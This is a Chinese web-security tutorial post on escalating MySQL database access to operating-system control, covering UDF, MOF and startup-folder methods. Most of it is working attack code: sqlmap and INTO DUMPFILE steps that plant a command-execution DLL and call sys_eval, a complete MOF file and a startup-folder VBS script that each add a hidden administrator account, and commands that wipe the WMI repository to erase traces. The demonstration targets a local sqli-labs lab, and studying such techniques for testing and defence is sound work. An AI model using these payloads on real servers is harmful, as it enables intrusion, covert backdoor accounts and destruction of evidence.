WEB安全--SQL注入--MySQL提权

一、UDF提权

1.1、UDF(user-defined function)

用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。

1.2、什么情况下需使用mysql提权?

拥有mysql的权限,但是没拿到mysql所在服务器的任何权限,通过mysql提权,将mysql权限提升到操作系统权限

1.3、条件

1、知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)

2、secure_file_priv的值为空

1.4、方式

1、创建/lib/plugin目录

动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数。

Mysql版本大于5.1:udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。

Mysql版本小于5.1:

如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。

如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。

并且目前绝大多数项目的数据库版本都大于5.1,所以我们以第一种方式来模拟:

php 复制代码
#NTFS ADS流创建语句

mysql> select 'x' into dumpfile 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin::$INDEX_ALLOCATION';  

#创建不一定成功,不成功的情况下还是利用webshell的权限创建目录

2、导入动态链接库

那么这个dll文件在哪了?这两个文件在sqlmap和msf里面都有内置。

首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为\sqlmap\data\udf\mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

解码命令:

python 复制代码
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

存在sql注入时我们可以通过sqlmap来上传动态链接库

python 复制代码
python sqlmap.py -u "http://192.168.178.130/sqli-labs/Less-1/?id=1" 
--file-write="d:/tools/sqlmap/extra/cloak/lib_mysqludf_sys_64.dll" 
--file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll"

没有sql注入时,我们可以通过执行sql语句INTO DUMPFILE来进行写入动态链接库

python 复制代码
#select后面为动态链接库的十六进制编码(数据太长,这里省略显示)
SELECT 0x4d5a900003... INTO DUMPFILE 
'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll'; 

动态链接库的十六进制可以通过mysql自带的hex函数或者一些文件十六进制编码器工具解决。当然在sql语句写不进去的动态链接库的时候,我们还可以通过我们的webshell来进行上传。

3、创建自定义函数

sql 复制代码
#原本执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
#修改后执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

4、执行系统命令

sql 复制代码
#创建成功后,我们利用自定义函数进行命令执行
mysql > select sys_eval('whoami');


//output
administrator

二、MOF提权

2.1、原理

mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

但是现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。

2.2、vbs脚本

sql 复制代码
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user suifeng p@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators suifeng /add\")";   #创建用户
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

2.3、上传脚本到指定目录

sql 复制代码
select load_file("C:/Documents and Settings/suifeng.mof") 
into dumpfile "c:/windows/system32/wbem/mof/suifeng.mof";

2.4、mof提权痕迹清理

因为每隔5秒钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件:

sql 复制代码
#停止winmgmt服务
net stop winmgmt
#删除Repository文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
#重新启动服务
net start winmgmt

三、启动项提权

3.1、原理

通过mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令。

3.2、利用方式

启动项路径:

sql 复制代码
#2003
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

有了路径我们在mysql的shell下输入如下代码:

sql 复制代码
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user suifeng p@ssw0rd /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators suifeng /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

然后重启,即可发现vbs脚本里面创建的用户:

相关推荐
终焉暴龙王25 分钟前
CTFHub web进阶 php Bypass disable_function通关攻略
开发语言·安全·web安全·php
百川2 小时前
Apache文件解析漏洞
web安全·apache
qq_430908578 小时前
网络安全-机遇与挑战
安全
希望奇迹很安静9 小时前
SSRF_XXE_RCE_反序列化学习
学习·web安全·ctf·渗透测试学习
程序员编程指南11 小时前
Qt 网络编程进阶:网络安全与加密
c语言·网络·c++·qt·web安全
安 当 加 密14 小时前
守护汽车“空中升级“:基于HSM/KMS的安全OTA固件签名与验证方案
安全·汽车
大咖分享课1 天前
多租户系统中的安全隔离机制设计
人工智能·安全·安全隔离
荔枝吻1 天前
软件异常读写威胁硬盘安全:从过往案例到防护之道
安全·硬盘
小马爱打代码1 天前
Spring Boot 接口安全设计:接口限流、防重放攻击、签名验证
网络·spring boot·安全
北极光SD-WAN组网1 天前
工业互联网时代,如何通过混合SD-WAN提升煤炭行业智能化网络安全
网络·安全·web安全